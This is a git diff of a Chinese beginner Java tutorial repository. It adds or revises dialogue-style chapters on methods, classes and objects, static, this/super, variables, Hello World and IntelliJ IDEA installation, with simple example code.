+**方法签名**:每一个方法都有一个签名,包括方法名和参数。 + +**方法体**:方法体放在一对花括号内,把一些代码放在一起,用来执行特定的任务。 + + + + +### 02、方法有哪几种? + +方法可以分为两种,一种叫预先定义方法,一种叫用户自定义方法。 + +**1)预先定义方法** + +Java 提供了大量预先定义好的方法供我们调用,也称为标准类库方法,或者内置方法。比如说 String 类的 `length()`、`equals()`、`compare()` 方法,以及我们在初学 Java 阶段最常用的 `println()` 方法,用来在控制台打印信息。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class PredefinedMethodDemo { + public static void main(String[] args) { + System.out.println("沉默王二,一枚有趣的程序员"); + } +} +``` + +在上面的代码中,我们使用了两个预先定义的方法,`main()` 方法是程序运行的入口,`println()` 方法是 `PrintStream` 类的一个方法。这些方法已经提前定义好了,所以我们可以直接使用它们。 + +我们可以通过集成开发工具查看预先定义方法的方法签名,当我们把鼠标停留在 `println()` 方法上面时,就会显示下图中的内容: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/17-02.png) + +`println()` 方法的访问权限修饰符是 public,返回类型为 void,方法名为 println,参数为 `String x`,以及 Javadoc(方法是干嘛的)。 + +预先定义方法让编程变得简单了起来,我们只需要在实现某些功能的时候直接调用这些方法即可,不需要重新编写。 + + +**2)用户自定义方法** + +当预先定义方法无法满足我们的要求时,就需要自定义一些方法,比如说,我们来定义这样一个方法,用来检查数字是偶数还是奇数。 + +```java +public static void findEvenOdd(int num) { + if (num % 2 == 0) { + System.out.println(num + " 是偶数"); + } else { + System.out.println(num + " 是奇数"); + } +} +``` + +方法名叫做 `findEvenOdd`,访问权限修饰符是 public,并且是静态的(static),返回类型是 void,参数有一个整形(int)的 num。方法体中有一个 if else 语句,如果 num 可以被 2 整除,那么就打印这个数字是偶数,否则就打印这个数字是奇数。 + +方法被定义好后,如何被调用呢? + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class EvenOddDemo { + public static void main(String[] args) { + findEvenOdd(10); + findEvenOdd(11); + } + + public static void findEvenOdd(int num) { + if (num % 2 == 0) { + System.out.println(num + " 是偶数"); + } else { + System.out.println(num + " 是奇数"); + } + } +} +``` + +`main()` 方法是程序的入口,并且是静态的,那么就可以直接调用同样是静态方法的 `findEvenOdd()`。 + +当一个方法被 static 关键字修饰时,它就是一个静态方法。换句话说,静态方法是属于类的,不属于类实例的(不需要通过 new 关键字创建对象来调用,直接通过类名就可以调用)。 + +### 03、什么是实例方法? + +没有使用 static 关键字修饰,但在类中声明的方法被称为实例方法,在调用实例方法之前,必须创建类的对象。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InstanceMethodExample { + public static void main(String[] args) { + InstanceMethodExample instanceMethodExample = new InstanceMethodExample(); + System.out.println(instanceMethodExample.add(1, 2)); + } + + public int add(int a, int b) { + return a + b; + } +} +``` + +`add()` 方法是一个实例方法,需要创建 InstanceMethodExample 对象来访问。 + +实例方法有两种特殊类型: + +- getter 方法 +- setter 方法 + +getter 方法用来获取私有变量(private 修饰的字段)的值,setter 方法用来设置私有变量的值。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + private int sex; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public int getSex() { + return sex; + } + + public void setSex(int sex) { + this.sex = sex; + } +} +``` + +getter 方法以 get 开头,setter 方法以 set 开头。 + +### 04、什么是抽象方法? + +没有方法体的方法被称为抽象方法,它总是在抽象类中声明。这意味着如果类有抽象方法的话,这个类就必须是抽象的。可以使用 atstract 关键字创建抽象方法和抽象类。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +abstract class AbstractDemo { + abstract void display(); +} +``` + +当一个类继承了抽象类后,就必须重写抽象方法: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class MyAbstractDemo extends AbstractDemo { + @Override + void display() { + System.out.println("重写了抽象方法"); + } + + public static void main(String[] args) { + MyAbstractDemo myAbstractDemo = new MyAbstractDemo(); + myAbstractDemo.display(); + } +} +``` + +输出结果如下所示: + +``` +重写了抽象方法 +``` \ No newline at end of file diff --git a/docs/oo/object-class.md b/docs/oo/object-class.md new file mode 100644 index 0000000000..baef7a9eff --- /dev/null +++ b/docs/oo/object-class.md @@ -0,0 +1,295 @@ + + +“二哥,我那天在图书馆复习[上一节](https://mp.weixin.qq.com/s/WzMEOEdzI0fFwBQ4s0S-0g)你讲的内容,刚好碰见一个学长,他问我有没有‘对象’,我说还没有啊。结果你猜他说什么,‘要不要我给你 new 一个啊?’我当时就懵了,new 是啥意思啊,二哥?”三妹满是疑惑的问我。 + +“哈哈,三妹,你学长还挺幽默啊。new 是 Java 中的一个关键字,用来把类变成对象。”我笑着对三妹说,“对象和类是 Java 中最基本的两个概念,可以说撑起了面向对象编程(OOP)的一片天。” + +### 01、面向过程和面向对象 + +三妹是不是要问,什么是 OOP? + +OOP 的英文全称是 Object Oriented Programming,要理解它的话,就要先理解面向对象,要想理解面向对象的话,就要先理解面向过程,因为一开始没有面向对象的编程语言,都是面向过程。 + +举个简单点的例子来区分一下面向过程和面向对象。 + +有一天,你想吃小碗汤了,怎么办呢?有两个选择: + +1)自己买食材,豆腐皮啊、肉啊、蒜苔啊等等,自己动手做。 + +2)到饭店去,只需要对老板喊一声,“来份小碗汤。” + +第一种就是面向过程,第二种就是面向对象。 + +面向过程有什么劣势呢?假如你买了小碗汤的食材,临了又想吃宫保鸡丁了,你是不是还得重新买食材? + +面向对象有什么优势呢?假如你不想吃小碗汤了,你只需要对老板说,“我那个小碗汤如果没做的话,换成宫保鸡丁吧!” + +面向过程是流程化的,一步一步,上一步做完了,再做下一步。 + +面向对象是模块化的,我做我的,你做你的,我需要你做的话,我就告诉你一声。我不需要知道你到底怎么做,只看功劳不看苦劳。 + +不过,如果追到底的话,面向对象的底层其实还是面向过程,只不过把面向过程进行了抽象化,封装成了类,方便我们的调用。 + +### 02、类 + +对象可以是现实中看得见的任何物体,比如说,一只特立独行的猪;也可以是想象中的任何虚拟物体,比如说能七十二变的孙悟空。 + +Java 通过类(class)来定义这些物体,这些物体有什么状态,通过字段来定义,比如说比如说猪的颜色是纯色还是花色;这些物体有什么行为,通过方法来定义,比如说猪会吃,会睡觉。 + +来,定义一个简单的类给你看看。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/19 + */ +public class Person { + private String name; + private int age; + private int sex; + + private void eat() { + } + + private void sleep() { + } + + private void dadoudou() { + } +} +``` + +一个类可以包含: + +- 字段(Filed) +- 方法(Method) +- 构造方法(Constructor) + +在 Person 类中,字段有 3 个,分别是 name、age 和 sex,它们也称为成员变量——在类内部但在方法外部,方法内部的叫临时变量。 + +成员变量有时候也叫做实例变量,在编译时不占用内存空间,在运行时获取内存,也就是说,只有在对象实例化(`new Person()`)后,字段才会获取到内存,这也正是它被称作“实例”变量的原因。 + +方法 3 个,分别是 `eat()`、`sleep()` 和 `dadoudou()`,表示 Person 这个对象可以做什么,也就是吃饭睡觉打豆豆。 + +那三妹是不是要问,“怎么没有构造方法呢?” + +的确在 Person 类的源码文件(.java)中没看到,但在反编译后的字节码文件(.class)中是可以看得到的。 + +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +package com.itwanger.twentythree; + +public class Person { + private String name; + private int age; + private int sex; + + public Person() { + } + + private void eat() { + } + + private void sleep() { + } + + private void dadoudou() { + } +} +``` + +`public Person(){}` 就是默认的构造方法,因为是空的构造方法(方法体中没有内容),所以可以缺省。Java 聪明就聪明在这,有些很死板的代码不需要开发人员添加,它会偷偷地做了。 + +### 03、new 一个对象 + +创建 Java 对象时,需要用到 `new` 关键字。 + +```java +Person person = new Person(); +``` + +这行代码就通过 Person 类创建了一个 Person 对象。所有**对象**在创建的时候都会在**堆内存中分配空间**。 + +创建对象的时候,需要一个 `main()` 方法作为入口, `main()` 方法可以在当前类中,也可以在另外一个类中。 + +第一种:`main()` 方法直接放在 Person 类中。 + +```java +public class Person { + private String name; + private int age; + private int sex; + + private void eat() {} + private void sleep() {} + private void dadoudou() {} + + public static void main(String[] args) { + Person person = new Person(); + System.out.println(person.name); + System.out.println(person.age); + System.out.println(person.sex); + } +} +``` + +输出结果如下所示: + +``` +null +0 +0 +``` + +第二种:`main()` 方法不在 Person 类中,而在另外一个类中。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/16-01.png) + +实际开发中,我们通常不在当前类中直接创建对象并使用它,而是放在使用对象的类中,比如说上图中的 PersonTest 类。 + +可以把 PersonTest 类和 Person 类放在两个文件中,也可以放在一个文件(命名为 PersonTest.java)中,就像下面这样。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class PersonTest { + public static void main(String[] args) { + Person person = new Person(); + } +} + +class Person { + private String name; + private int age; + private int sex; + + private void eat() {} + private void sleep() {} + private void dadoudou() {} +} +``` + +### 04、初始化对象 + +在之前的例子中,程序输出结果为: + +``` +null +0 +0 +``` + +为什么会有这样的输出结果呢?因为 Person 对象没有初始化,因此输出了 String 的默认值 null,int 的默认值 0。 + +那怎么初始化 Person 对象(对字段赋值)呢? + +第一种:通过对象的引用变量。 + +```java +public class Person { + private String name; + private int age; + private int sex; + + public static void main(String[] args) { + Person person = new Person(); + person.name = "沉默王二"; + person.age = 18; + person.sex = 1; + + System.out.println(person.name); + System.out.println(person.age); + System.out.println(person.sex); + } +} +``` + +person 被称为对象 Person 的引用变量,见下图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/16-02.png) + +通过对象的引用变量,可以直接对字段进行初始化(`person.name = "沉默王二"`),所以以上代码输出结果如下所示: + +``` +沉默王二 +18 +1 +``` + +第二种:通过方法初始化。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + private int sex; + + public void initialize(String n, int a, int s) { + name = n; + age = a; + sex = s; + } + + public static void main(String[] args) { + Person person = new Person(); + person.initialize("沉默王二",18,1); + + System.out.println(person.name); + System.out.println(person.age); + System.out.println(person.sex); + } +} +``` + +在 Person 类中新增方法 `initialize()`,然后在新建对象后传参进行初始化(`person.initialize("沉默王二", 18, 1)`)。 + +第三种:通过构造方法初始化。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + private int sex; + + public Person(String name, int age, int sex) { + this.name = name; + this.age = age; + this.sex = sex; + } + + public static void main(String[] args) { + Person person = new Person("沉默王二", 18, 1); + + System.out.println(person.name); + System.out.println(person.age); + System.out.println(person.sex); + } +} +``` + +这也是最标准的一种做法,直接在 new 的时候把参数传递过去。 + +补充一点知识,匿名对象。匿名对象意味着没有引用变量,它只能在创建的时候被使用一次。 + +```java +new Person(); +``` + +可以直接通过匿名对象调用方法: + +```java +new Person().initialize("沉默王二", 18, 1); +``` \ No newline at end of file diff --git a/docs/src/oo/static.md b/docs/oo/static.md similarity index 85% rename from docs/src/oo/static.md rename to docs/oo/static.md index 14fde1154c..0ba7b7c9ef 100644 --- a/docs/src/oo/static.md +++ b/docs/oo/static.md @@ -1,19 +1,6 @@ ---- -title: 详解 Java static 关键字的作用:静态变量、静态方法、静态代码块、静态内部类 -shortTitle: Java static关键字 -description: 本文详细讲解了Java中的static关键字,包括其作用、用法、使用场景以及注意事项。文章通过实例解析,帮助读者深入理解static关键字在Java编程中的重要性,提高编程水平和技巧。 -category: - - Java 核心 -tag: - - 面向对象编程 -head: - - - meta - - name: keywords - content: Java,static,静态变量,静态方法,静态代码块,静态内部类,java static,static关键字 ---- - - -“哥,你牙龈肿痛轻点没?周一的《教妹学 Java》(二哥的Java进阶之路前身)你都没有更新,偷懒了呀!”三妹关心地问我。 + + +“哥,你牙龈肿痛轻点没?周一的教妹学 Java 你都没有更新,偷懒了呀!”三妹关心地问我。 “今天周四了,吃了三天的药,疼痛已经减轻不少,咱妈还给我打了电话,让我买点牛黄解毒片下下火。”我面带着微笑对三妹说,“学习可不能落下,今天我们来学 Java 中 `static` 关键字吧。” @@ -67,7 +54,7 @@ public class Student { “哦哦,别担心,三妹,画幅图你就全明白了。”说完我就打开 draw.io 这个网址,认真地画起了图。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-01.png) “现在,是不是一下子就明白了?”看着这幅漂亮的手绘图,我心里有点小开心。 @@ -96,7 +83,7 @@ public class Counter { 我在侃侃而谈,而三妹似乎有些不太明白。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-02.png) “没关系,三妹,你先盲猜一下,这段代码输出的结果是什么?” @@ -148,10 +135,10 @@ public class StaticCounter { “另外,需要注意的是,由于静态变量属于一个类,所以不要通过对象引用来访问,而应该直接通过类名来访问,否则编译器会发出警告。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-03.png) -### 02、静态方法 +### 02、 静态方法 “说完静态变量,我们来说静态方法。”说完,我准备点一支华子来抽,三妹阻止了我,她指一指烟盒上的「吸烟有害身体健康」,我笑了。 @@ -209,11 +196,11 @@ public class StaticMethodStudent { “先是在静态方法中访问非静态变量,编译器不允许。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-04.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-04.png) “然后在静态方法中访问非静态方法,编译器同样不允许。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-05.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-05.png) “关于静态方法的使用,这下清楚了吧,三妹?” @@ -225,7 +212,7 @@ public class StaticMethodStudent { “java.lang.Math 类的几乎所有方法都是静态的,可以直接通过类名来调用,不需要创建类的对象。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-06.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-06.png) ### 03、静态代码块 @@ -279,7 +266,7 @@ public class StaticBlockNoMain { “在命令行中执行 `java StaticBlockNoMain` 的时候,会抛出 NoClassDefFoundError 的错误。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-07.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-07.png) “三妹,来看下面这个例子。” @@ -344,15 +331,6 @@ public class Singleton { “三妹,你看,在 Singleton 类上加 static 后,编译器就提示错误了。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/19-08.png) - -三妹点了点头,所有所思。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/19-08.png) -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +三妹点了点头,所有所思。 \ No newline at end of file diff --git a/docs/src/oo/this-super.md b/docs/oo/this-super.md similarity index 89% rename from docs/src/oo/this-super.md rename to docs/oo/this-super.md index c72180e0cb..52e86cbbca 100644 --- a/docs/src/oo/this-super.md +++ b/docs/oo/this-super.md @@ -1,16 +1,3 @@ ---- -title: 详解Java this与super关键字的用法与区别 -shortTitle: Java this和super关键字 -description: 本文详细介绍了Java中的this和super关键字,包括它们的概念、作用以及如何在实际编程中使用。通过对比分析this和super关键字的区别,本文旨在帮助读者深入理解Java面向对象编程中的相关概念,提升编程技能。 -category: - - Java 核心 -tag: - - 面向对象编程 -head: - - - meta - - name: keywords - content: Java,this,super,java this super,java this,java super,this super,this关键字, super关键字 ---- “哥,被喊大舅子的感觉怎么样啊?”三妹不怀好意地对我说,她眼睛里充满着不屑。 @@ -113,7 +100,9 @@ public class WithThisStudent { “这次,实例变量有值了,在构造方法中,`this.xxx` 指向的就是实例变量,而不再是参数本身了。”我慢吞吞地说着,“当然了,如果参数名和实例变量名不同的话,就不必使用 this 关键字,但我建议使用 this 关键字,这样的代码更有意义。” -### 02、调用当前类的方法 + + +### 03、调用当前类的方法 “仔细听,三妹,看我敲键盘的速度是不是够快。” @@ -162,7 +151,7 @@ public class InvokeCurrentClassMethod { “我们可以在一个类中使用 this 关键字来调用另外一个方法,如果没有使用的话,编译器会自动帮我们加上。”我对自己深厚的编程功底充满自信,“在源代码中,`method2()` 在调用 `method1()` 的时候并没有使用 this 关键字,但通过反编译后的字节码可以看得到。” -### 03、调用当前类的构造方法 +### 04、调用当前类的构造方法 “再来看下面这段代码。” @@ -222,9 +211,9 @@ hello “不过,需要注意的是,`this()` 必须放在构造方法的第一行,否则就报错了。” -![](https://cdn.paicoding.com/tobebetterjavaer/images/keywords/20-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/20-01.png) -### 04、作为参数在方法中传递 +### 05、作为参数在方法中传递 “来看下面这段代码。” @@ -257,7 +246,7 @@ com.itwanger.twentyseven.ThisAsParam@77459877 “`method2()` 调用了 `method1()`,并传递了参数 this,`method1()` 中打印了当前对象的字符串。 `main()` 方法中打印了 thisAsParam 对象的字符串。从输出结果中可以看得出来,两者是同一个对象。” -### 05、作为参数在构造方法中传递 +### 06、作为参数在构造方法中传递 “继续来看代码。” @@ -297,7 +286,7 @@ class Data { 10 ``` -### 06、作为方法的返回值 +### 07、作为方法的返回值 “需要休息会吗?三妹” @@ -343,7 +332,7 @@ hello “噢噢噢噢。”三妹意味深长地笑了。 -### 07、super 关键字 +### 08、super 关键字 “super 关键字的用法主要有三种。” @@ -524,14 +513,4 @@ public class CallParentParamConstrutor { 1 沉默王二 20000.0 ``` -三妹点了点头,所有所思。 - ----- - - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +三妹点了点头,所有所思。 \ No newline at end of file diff --git a/docs/oo/var.md b/docs/oo/var.md new file mode 100644 index 0000000000..95ddb30c84 --- /dev/null +++ b/docs/oo/var.md @@ -0,0 +1,131 @@ + + +“二哥,听说 Java 变量在以后的日子里经常用,能不能提前给我透露透露?”三妹咪了一口麦香可可奶茶后对我说。 + +“三妹啊,搬个凳子坐我旁边,听二哥来给你慢慢说啊。” + +Java 变量就好像一个容器,可以保存程序在运行过程中的值,它在声明的时候会定义对应的数据类型(Java 分为两种数据类型:基本数据类型和引用数据类型)。变量按照作用域的范围又可分为三种类型:局部变量,成员变量和静态变量。 + +比如说,`int data = 88;`,其中 data 就是一个变量,它的值为 88,类型为整形(int)。 + + +### 01、局部变量 + +在方法体内声明的变量被称为局部变量,该变量只能在该方法内使用,类中的其他方法并不知道该变量。来看下面这个示例: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class LocalVariable { + public static void main(String[] args) { + int a = 10; + int b = 10; + int c = a + b; + System.out.println(c); + } +} +``` + +其中 a、b、c 就是局部变量,它们只能在当前这个 main 方法中使用。 + +声明局部变量时的注意事项: + +- 局部变量声明在方法、构造方法或者语句块中。 +- 局部变量在方法、构造方法、或者语句块被执行的时候创建,当它们执行完成后,将会被销毁。 +- 访问修饰符不能用于局部变量。 +- 局部变量只在声明它的方法、构造方法或者语句块中可见。 +- 局部变量是在栈上分配的。 +- 局部变量没有默认值,所以局部变量被声明后,必须经过初始化,才可以使用。 + +### 02、成员变量 + +在类内部但在方法体外声明的变量称为成员变量,或者实例变量。之所以称为实例变量,是因为该变量只能通过类的实例(对象)来访问。来看下面这个示例: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InstanceVariable { + int data = 88; + public static void main(String[] args) { + InstanceVariable iv = new InstanceVariable(); + System.out.println(iv.data); // 88 + } +} +``` + +其中 iv 是一个变量,它是一个引用类型的变量。`new` 关键字可以创建一个类的实例(也称为对象),通过“=”操作符赋值给 iv 这个变量,iv 就成了这个对象的引用,通过 `iv.data` 就可以访问成员变量了。 + +声明成员变量时的注意事项: + +- 成员变量声明在一个类中,但在方法、构造方法和语句块之外。 +- 当一个对象被实例化之后,每个成员变量的值就跟着确定。 +- 成员变量在对象创建的时候创建,在对象被销毁的时候销毁。 +- 成员变量的值应该至少被一个方法、构造方法或者语句块引用,使得外部能够通过这些方式获取实例变量信息。 +- 成员变量可以声明在使用前或者使用后。 +- 访问修饰符可以修饰成员变量。 +- 成员变量对于类中的方法、构造方法或者语句块是可见的。一般情况下应该把成员变量设为私有。通过使用访问修饰符可以使成员变量对子类可见;成员变量具有默认值。数值型变量的默认值是 0,布尔型变量的默认值是 false,引用类型变量的默认值是 null。变量的值可以在声明时指定,也可以在构造方法中指定。 + +### 03、静态变量 + +通过 static 关键字声明的变量被称为静态变量(类变量),它可以直接被类访问,来看下面这个示例: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StaticVariable { + static int data = 99; + public static void main(String[] args) { + System.out.println(StaticVariable.data); // 99 + } +} +``` + +其中 data 就是静态变量,通过`类名.静态变量`就可以访问了,不需要创建类的实例。 + +声明静态变量时的注意事项: + +- 静态变量在类中以 static 关键字声明,但必须在方法构造方法和语句块之外。 +- 无论一个类创建了多少个对象,类只拥有静态变量的一份拷贝。 +- 静态变量除了被声明为常量外很少使用。 +- 静态变量储存在静态存储区。 +- 静态变量在程序开始时创建,在程序结束时销毁。 +- 与成员变量具有相似的可见性。但为了对类的使用者可见,大多数静态变量声明为 public 类型。 +- 静态变量的默认值和实例变量相似。 +- 静态变量还可以在静态语句块中初始化。 + +### 04、常量 + +在 Java 中,有些数据的值是不会发生改变的,这些数据被叫做常量——使用 final 关键字修饰的成员变量。常量的值一旦给定就无法改变! + +常量在程序运行过程中主要有 2 个作用: + +- 代表常数,便于修改(例如:圆周率的值,`final double PI = 3.14`) + +- 增强程序的可读性(例如:常量 UP、DOWN 用来代表上和下,`final int UP = 0`) + +Java 要求常量名必须大写。来看下面这个示例: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class FinalVariable { + final String CHEN = "沉"; + static final String MO = "默"; + public static void main(String[] args) { + FinalVariable fv = new FinalVariable(); + System.out.println(fv.CHEN); + System.out.println(MO); + + } +} +``` + +“好了,三妹,关于 Java 变量就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。 + +“是啊,二哥,我想以后还会再见到它们吧?” + +“那见的次数可就多了,就好像你每天眨眼的次数一样多。” \ No newline at end of file diff --git a/docs/overview/hello-world.md b/docs/overview/hello-world.md new file mode 100644 index 0000000000..3226ac7263 --- /dev/null +++ b/docs/overview/hello-world.md @@ -0,0 +1,50 @@ + + +可以通过 Intellij IDEA 来编写代码,也可以使用在线编辑器来完成。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/helloworld-01.png) + +第一个 Java 程序非常简单,代码如下: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); + } +} +``` + +IDEA 会自动保存,在代码编辑面板中右键,在弹出的菜单中选择「Run 'HelloWorld.main()'」,如下图所示: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/four-01.png) + +等代码编译结束后,就可以在 Run 面板里看到下面的内容: + +``` +三妹,少看手机少打游戏,好好学,美美哒。 +``` + +“二哥,上面这段代码的输出结果虽然令我非常开心,但是有好多生疏的关键字令我感到困惑,能给我解释一下吗?” + +“当然没问题啊。” + +- class 关键字:用于在 Java 中声明一个类。 + +- public 关键字:一个表示可见性的访问修饰符。 + +- static 关键字:我们可以用它来声明任何一个方法,被 static 修饰后的方法称之为静态方法。静态方法不需要为其创建对象就能调用。 + +- void 关键字:表示该方法不返回任何值。 + +- main 关键字:表示该方法为主方法,也就是程序运行的入口。`main()` 方法由 Java 虚拟机执行,配合上 static 关键字后,可以不用创建对象就可以调用,可以节省不少内存空间。 + +- `String [] args`:`main()` 方法的参数,类型为 String 数组,参数名为 args。 + +- `System.out.println()`:一个 Java 语句,一般情况下是将传递的参数打印到控制台。System 是 java.lang 包中的一个 final 类,该类提供的设施包括标准输入,标准输出和错误输出流等等。out 是 System 类的静态成员字段,类型为 PrintStream,它与主机的标准输出控制台进行映射。println 是 PrintStream 类的一个方法,通过调用 print 方法并添加一个换行符实现的。 + +“三妹,怎么样?这下没有困扰你的关键字了吧?后面我们更细致地分析这些关键字,所以担心是大可不必的。” + +“没有了,二哥,好期待后面的内容哦!” \ No newline at end of file diff --git a/docs/overview/idea.md b/docs/overview/idea.md new file mode 100644 index 0000000000..8295535948 --- /dev/null +++ b/docs/overview/idea.md @@ -0,0 +1,71 @@ + + +IntelliJ IDEA 简称 IDEA,是业界公认为最好的 Java 集成开发工具,尤其是在代码自动提示、代码重构、代码版本管理、单元测试、代码分析等方面有着亮眼的发挥。 + +IDEA 产于捷克,开发人员以严谨著称的东欧程序员为主,分为社区版和付费版两个版本。我们在学习阶段,社区版就足够用了。 + +回想起我最初学 Java 的时候,老师要求我们在记事本上敲代码,在命令行中编译和执行 Java 代码,搞得全班三分之二的同学都做好了放弃学习 Java 的打算。 + +鉴于此,我强烈推荐大家使用集成开发工具,比如说 IntelliJ IDEA 来学习。 + +IDEA 分为社区版和付费版两个版本。 + +(2019 年时出的教程,新版的安装和之前一样) + +### 01、下载 IDEA + +IntelliJ IDEA 的官方下载地址为:[https://www.jetbrains.com/idea/download/](https://www.jetbrains.com/idea/download) + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-1.png) + + +UItimate 为付费版,可以免费试用,主要针对的是 Web 和企业开发用户;Community 为免费版,可以免费使用,主要针对的是 Java 初学者和安卓开发用户。 + +功能上的差别如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-2.png) + +本篇教程主要针对的是 Java 初学者,所以选择免费版为例,点击「Download」进行下载。 + +稍等一分钟时间,大概 580M。 + +### 02、安装 IDEA + +双击运行 IDEA 安装程序,一步步傻瓜式的下一步就行了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-3.png) + + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-4.png) + + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-5.png) + +为了方便启动 IDEA,可以勾选【64-bit launcher】复选框。为了关联 Java 源文件,可以勾选【.java】复选框。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-6.png) + +点击【Install】后,需要静静地等待一会,大概一分钟的时间,趁机休息一下眼睛。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-7.png) + +安装完成后的界面如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-8.png) + +### 03、启动 IDEA + +回到桌面,双击运行 IDEA 的快捷方式,启动 IDEA。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-9.png) + +假装阅读完条款后,勾选同意复选框,点击【Continue】 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-10.png) + +如果想要帮助 IDEA 收集改进信息,可以点击【Send Usage Statistics】;否则点击【Don't send】。 + +![](https://cdn.jsdelivr.net/gh/itwanger/itwanger.github.io/assets/images/2019/11/java-idea-community-11.png) + + +到此,Intellij IDEA 的安装就完成了,很简单。 \ No newline at end of file diff --git a/docs/overview/java-advantage.md b/docs/overview/java-advantage.md new file mode 100644 index 0000000000..ef2af8def8 --- /dev/null +++ b/docs/overview/java-advantage.md @@ -0,0 +1,85 @@ + + +尽管 Java 已经 25 岁了,但仍然“宝刀未老”。在 Stack Overflow 2019 年流行编程语言调查报告中,Java 位居第 5 位,有 41% 的受调开发者认为 Java 仍然是一门受欢迎的编程语言。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/three-01.png) + +很多大型的互联网公司都在使用 Java,国内最有名的当属阿里巴巴,国外最有名的当属谷歌。那为什么 Java 如此流行呢? + +**1)简单性** + +Java 为开发者提供了简单易用的用户体验,与其他面向对象编程语言相比,Java 